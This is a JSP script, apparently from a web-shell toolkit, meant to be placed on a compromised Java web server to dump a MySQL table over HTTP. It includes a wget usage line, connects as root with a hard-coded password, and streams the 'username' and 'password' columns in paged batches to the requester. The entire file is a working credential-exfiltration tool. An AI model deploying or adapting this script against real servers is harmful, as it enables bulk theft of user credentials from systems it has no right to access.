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85 lines
2.5 KiB
Text
85 lines
2.5 KiB
Text
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<%@ page contentType="text/html; charset=utf-8" %>
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<%@ page language="java" %>
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<%@ page import="java.sql.*" %>
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<%
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//author: By Gavin
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//Usage: wget "http://xxx.com/wget_db.jsp?sn=0&en=5000000&ln=50000" -O gavin.sql
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out.clear();
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//分段每次limit查询出来的条数,根据实际情况调整，默认为2w
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int MAX_LIMIT_NUM = 20000;
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//最大缓存条数，防止占用过多内存，根据每条数据大小调整
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int MAX_CACHE_NUM = 5000;
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//驱动程序名
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String driverName="com.mysql.jdbc.Driver";
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// 数据库地址
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String dbAddress = "127.0.0.1:3306";
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//数据库用户名
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String userName="root";
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//密码
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String userPasswd="root";
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//数据库名
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String dbName="DBName";
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// 查询字段
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String columns[] = "username,password".split(",");
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//表名
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String tableName="table_name";
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// 接受参数
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int startNum = Integer.valueOf(request.getParameter("sn")); //接收起始条数
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int endNum = Integer.valueOf(request.getParameter("en")); //接收结束条数
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String ln = request.getParameter("ln");
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if (ln != null && ln != "") MAX_LIMIT_NUM = Integer.valueOf(ln); //接收每次分段查询的条数
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int gavin_downNum = endNum - startNum; //计算总下载条数
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if (endNum < MAX_LIMIT_NUM) MAX_LIMIT_NUM = endNum;
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int multiple = gavin_downNum/MAX_LIMIT_NUM;
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int complement = gavin_downNum%MAX_LIMIT_NUM;
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// 连接数据库
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String url="jdbc:mysql://"+dbAddress+"/"+dbName+"?user="+userName+"&password="+userPasswd;
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Class.forName(driverName).newInstance();
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Connection connection=DriverManager.getConnection(url);
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Statement statement = connection.createStatement();
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// 拼装前半部分sql
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String sql = "SELECT ";
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for(int i=0;i<columns.length;i++){
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if(i == (columns.length-1)){
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sql += columns[i];
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} else {
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sql += columns[i] + ",";
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}
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}
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sql += " FROM " + tableName + " ";
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int num = 1;
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for(int i=0;i<multiple;i++) {
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int newStartNum = i*MAX_LIMIT_NUM+startNum;
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if(i == (multiple-1)) MAX_LIMIT_NUM += complement;
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String newSql = sql + " limit " + newStartNum + "," + MAX_LIMIT_NUM;
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java.sql.ResultSet rs = statement.executeQuery(newSql);
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//获得数据结果集合
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//ResultSetMetaData rmeta = rs.getMetaData();
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while(rs.next()) {
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num ++;
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for(int j=1;j<=columns.length;j++){
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if(j == columns.length){
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out.println(rs.getString(j));
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} else {
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out.print(rs.getString(j)+"-->");
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}
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}
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if (num >= MAX_CACHE_NUM) {
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out.flush();
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num = 0;
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}
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}
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rs.close();
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}
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statement.close();
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connection.close();
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%>
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